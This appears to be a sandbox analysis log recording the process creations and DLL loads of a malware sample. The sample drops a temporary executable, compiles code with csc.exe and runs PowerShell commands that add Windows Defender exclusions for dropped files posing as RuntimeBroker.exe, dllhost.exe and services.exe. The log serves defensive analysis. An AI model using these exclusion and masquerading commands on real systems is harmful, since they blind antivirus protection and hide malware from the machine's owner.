Source: unknown	Process created: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Program Files\Windows Portable Devices\services.exe "C:\Program Files\Windows Portable Devices\services.exe"
Source: unknown	Process created: C:\Program Files\Windows Portable Devices\services.exe "C:\Program Files\Windows Portable Devices\services.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe "C:\Users\Default\Recent\RuntimeBroker.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Users\Default\dllhost.exe "C:\Users\Default\dllhost.exe"
Source: unknown	Process created: C:\Program Files\Windows Portable Devices\services.exe "C:\Program Files\Windows Portable Devices\services.exe"
Source: unknown	Process created: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
Source: unknown	Process created: C:\Users\Default\dllhost.exe "C:\Users\Default\dllhost.exe"
Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe	Process created: C:\Users\user\AppData\Local\Temp\decFF62.tmp C:\Users\user\AppData\Local\Temp\decFF62.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD2D.tmp" "c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe "C:\Users\Default\Recent\RuntimeBroker.exe"

Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
